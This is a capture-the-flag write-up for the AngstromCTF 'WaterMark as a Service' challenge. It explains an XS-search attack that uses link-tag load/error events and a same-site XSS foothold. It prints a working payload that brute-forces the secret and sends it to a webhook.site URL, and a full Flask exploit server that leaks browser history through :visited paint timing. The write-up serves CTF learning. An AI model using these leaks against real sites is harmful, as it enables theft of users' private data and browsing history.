WaterMark as a Service AngstromCTF


tl;dr

  • XS-search 200 / 404 .
  • Leaking using HTML injection in a same-site challenge.
  • Link tags and Error events .

🔎 Initial analysis

We are given the application source code and a challenge link. Also, there is a waaas.js for the admin bot. Looking at the application, the main functionality was the search endpoint.

Taking a look at the code for /search endpoint in the index.js file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
app.get('/search', (req, res) => {
	if (req.cookies['admin_cookie'] !== secretvalue) {
		res.status(403).send("Unauthorized");
		return;
	}
	try {
		let query = req.query.q;
		for (let flag of flags) {
			if (flag.indexOf(query) !== -1) {
				res.status(200).send("Found");
				return;
			}
		}
		res.status(404).send("Not Found");
	} catch (e) {
		console.log(e);
		res.sendStatus(500);
	}
})

It was basically checking if our input query was a substring of the flag. But we cannot send requests to /search due to the check in the start, which checks whether or not the request is from the admin user. So our requests would get 403 Unauthorized as the response.

🥷 Attack plan

Since we cant directly access the /search enpoint we have to somehow make the admin send those requests. One approach is to get XSS anywhere in the site so we can send fetch requests bruteforce the flag. But unfortunately there is no XSS in this site.

The Next approach would be an XS-Search attack to leak the flag . As the bot is visiting any url we give it. In the /search enpoint if the query is a valid substring of the flag it was returning 200 Found and if its not a valid substring it was returning 404 Not Found.

We can use Error Events to differntiate between these 2 status codes cross site .

But there is another issue . . . . . Same Site Cookies!! . Looking the admin bots source code we can see that the admin cookie is same-site Lax .

1
2
3
4
5
6
7
8
const cookie = {
                domain: domain,
                name: "admin_cookie",
                value: key,
                httpOnly: true,
                secure: true,
                sameSite: 'Lax'
    };

So the cookies won’t be sent on the requests which are sent from our hosted exploit as it wont be same-site 😓.

SameSite Leaks ftw 🌟

If we have XSS or HTML injection in any domain which is same-site to the challenge domain we can use that in our favour for Same Site Leaks.

The challenge was hosted on https://wwwwwwwwaas.web.actf.co/ and all other challenges was were subdomains of web.actf.co and fortunately we had XSS on markdown.web.actf.co which is same-site.

So now we can host our exploit to leak the flag on markdown.web.actf.co . We can use a script,link tags to determine if it was 200 or 404 .Because if the response is 200 the onload event handler will be fired and if the response is 404 the onerror handler will be fired .

🚀 Final Payloads

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
const charset = "abcdef1234567890{}ghijklmnopqrstuvwxyz_"
let found = "actf"
const leak_url = "https://webhook.site/4d3c543c-1211-4c4c-9fea-c7fc3336e2a5"

const next = (i) => {
      char = charset[i]
      link = document.createElement("link")
      link.rel = "stylesheet"
      document.head.appendChild(link)
      link.onload = () => {
           found += charset[i]
           navigator.sendBeacon(leak_url,JSON.stringify({type: "success", found:found,char:charset[i] }))
           next(0)
       }

       link.onerror = () => {
           next(i+1)
       }
       link.href = "https://wwwwwwwwaas.web.actf.co/search?q="+found+charset[i]
}
next(0)

🚩 Flag

actf{the_w_watermarks_the_whereabouts}

🤯 Intended solution

This was actually not the solution, this leak worked only because the headless chrome used on the admin bot was outdated. In the new chrome this won’t work due to ORB.

ORB will prevent the onload handler from being triggered if the content type of the requested resource is diffrent from the inclusion method. So since we are using a script tag here to load the response of a text/html content type, so it wont get loaded.

So we can’t use script,link stylesheets etc for leaking as there will be a content-type mismatch for the request resource.

The intended solution was to use Complicated CSS effects and :visited selector to leak browser history through paint timing .It was a chromium bug which was marked as won’t fix .

This was the exploit for it shared by @ixSly.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
import os
from flask import Flask, render_template_string, request

app = Flask(__name__)
URL = "http://127.0.0.1:21111/"
CHARSET = "1234567890" # for local testing 
#CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
ex_html = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XS-Leak Test</title>
    <style type="text/css">
        /* Set it up so the target link element has different colors when pointing to a
           visited vs unvisited URL. */
        #target {
            color: white;
            background-color: white;
            outline-color: white;
        }
        #target:visited {
            color: #feffff;
            background-color: #fffeff;
            outline-color: #fffffe;
        }
    </style>
</head>
<body>
<script>
    async function isVisited(url) {
        let pocw = window.open(`/poc?url=${encodeURIComponent(url)}`, 'poc');
        pocw.focus();
    }

    // Extract the fragment identifier from the URL
    let hash = window.location.hash.substring(1) || "flag{g68r|a";
    let [guess, current_guess] = hash.split('|');
    let base_url = '{{CHALLENGE_URL}}search?q=flag{'; //change based on flag format
    let charset = '{{ CHARSET }}'.split('');

    async function exploit(current_guess) {
        let w = open(`${base_url}${guess}${current_guess}`, 'guess');
        await new Promise((resolve) => setTimeout(resolve, 1000));
        w.close();
        isVisited(`${base_url}${guess}${current_guess}`);
    }
    exploit(current_guess);
</script>
</body>
</html>
'''

poc_html = '''
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8"/>
    <style type="text/css">
        #target {
            color: white;
            background-color: white;
            outline-color: white;
        }
        #target:visited {
            color: #feffff;
            background-color: #fffeff;
            outline-color: #fffffe;
        }
    </style>
</head>
<body>
    <div id="entryDisplay">
        Enter a URL to test for visited status:
        <input id="urlInput" type="text" size="60" value="{{ url }}" autofocus/>
        <button id="testButton">Test</button>
    </div>
    <script type="text/javascript">
        (function () {
            var entryDisplay = document.getElementById('entryDisplay');
            var urlInput = document.getElementById('urlInput');
            var testButton = document.getElementById('testButton');
            
            var basisUrl;
            var controlUrl;
            var experimentUrl;
            
            var targetLink;
            var controlTickCount;

            function generateUnvisitedUrl () {
                return 'https://' + Math.random() + '/' + Date.now();
            }
            
            testButton.addEventListener('click', function () {
                basisUrl = generateUnvisitedUrl();
                controlUrl = generateUnvisitedUrl();
                experimentUrl = urlInput.value;
                console.log({ experimentUrl })
                entryDisplay.remove();
                
                document.body.style.overflow = 'hidden';
                
                targetLink = document.createElement('a');
                targetLink.id = 'target';
                targetLink.href = basisUrl;
                
                var garbageText = '業雲多受片主...'.repeat(28);
                targetLink.appendChild(document.createTextNode(garbageText));
                
                targetLink.style.display = 'block';
                targetLink.style.width = '5px';
                targetLink.style.fontSize = '2px';
                targetLink.style.outlineWidth = '24px';
                targetLink.style.textAlign = 'center';
                targetLink.style.filter =
                    'contrast(200%) drop-shadow(16px 16px 10px #fefefe) saturate(200%)';
                targetLink.style.textShadow = '16px 16px 10px #fefffe';
                targetLink.style.transform = 'perspective(100px) rotateY(37deg)';
                
                document.body.appendChild(targetLink);
                
                requestAnimationFrame(function () {
                    requestAnimationFrame(function () {
                        runTestStage(false);
                    });
                });
            });
            
            function runTestStage (isExperimentStage) {
                var testUrl = isExperimentStage ? experimentUrl : controlUrl;
                startCountingTicks();
                startOscillatingHref(testUrl);
                
                setTimeout(async function () {
                    stopOscillatingHref();
                    
                    if (!isExperimentStage) {
                        controlTickCount = stopCountingTicks();
                        runTestStage(true);
                        return;
                    }
                    
                    var experimentTickCount = stopCountingTicks();
                    targetLink.remove();
                    
                    var ratio = experimentTickCount / controlTickCount;
                    console.log("RATIO", experimentTickCount, controlTickCount, ratio)
                    var likelyVisited = ratio < 0.7;
                   
                    async function sendBeacon(cond){
                        let url = opener ? opener.location.hash.substring(1) : "flag{g68r|a";
                        let [guess, current_guess] = url.split('|');
                        if(cond){
                            await fetch(`/leak?flag=${guess}${current_guess}`);
                            if (opener) {
                                opener.location.href = `/?query=${Math.random()}&ratio=${ratio}#${guess}${current_guess}|a`;
                            }
                        }
                        else {
                            let charset = '{{ CHARSET }}'.split('');
                            if (opener) {
                                opener.location.href = `/?query=${Math.random()}&ratio=${ratio}#${guess}|${charset[charset.indexOf(current_guess)+1]}`;
                            }
                        }
                    }
                    sendBeacon(likelyVisited);

                    document.body.style.overflow = 'visible';
                    
                    var outputDom = document.createElement('p');
                    
                    outputDom.appendChild(document.createTextNode('Result for '));
                    
                    var linkDom = document.createElement('a');
                    linkDom.href = experimentUrl;
                    linkDom.appendChild(document.createTextNode(experimentUrl));
                    outputDom.appendChild(linkDom);
                    
                    outputDom.appendChild(document.createTextNode(': likely '));
                    
                    var resultDom = document.createElement('strong');
                    resultDom.innerHTML = likelyVisited ? 'VISITED' : 'UNVISITED';
                    resultDom.style.color = likelyVisited ? 'green' : 'red';
                    outputDom.appendChild(resultDom);
                    
                    outputDom.appendChild(document.createTextNode(
                        ' (' + experimentTickCount + ' ticks vs ' +
                        controlTickCount + ' ticks; ratio = ' +
                        Math.round(ratio * 100) + '%).'));
                    
                    document.body.appendChild(outputDom);
                    
                    var retryButton = document.createElement('button');
                    retryButton.innerHTML = 'Try Another URL';
                    retryButton.addEventListener('click', function (e) {
                        location.reload();
                    });
                    document.body.appendChild(retryButton);
                    retryButton.focus();
                }, 500);
            } 
                
            var oscillateInterval;
            var isPointingToBasisUrl = true;
            function startOscillatingHref (testUrl) {
                oscillateInterval = setInterval(function () {
                    targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl;
                    isPointingToBasisUrl = !isPointingToBasisUrl;
                }, 0);
            }
            function stopOscillatingHref () {
                clearInterval(oscillateInterval);
                targetLink.href = basisUrl;
                isPointingToBasisUrl = true;
            }

            var tickCount = 0;
            var tickRequestId;
            function startCountingTicks () {
                tickRequestId = requestAnimationFrame(function () {
                    ++tickCount;
                    startCountingTicks();
                });
            }
            function stopCountingTicks () {
                cancelAnimationFrame(tickRequestId);
                var oldTickCount = tickCount;
                tickCount = 0;
                return oldTickCount;
            }
        })();
        
        setTimeout(function () {
            var testButton = document.getElementById('testButton');
            testButton.click();
        }, 1000);
   
    </script>
</body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(ex_html, CHALLENGE_URL=URL,CHARSET=CHARSET)

@app.route('/poc')
def poc():
    args = request.args.get('url')
    return render_template_string(poc_html, url=args, CHALLENGE_URL=URL,CHARSET=CHARSET)

@app.route('/leak')
def leak():
    flag = request.args.get('flag')
    if flag[-1] == '}':
        print(flag)
    return ""

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=1337)

See also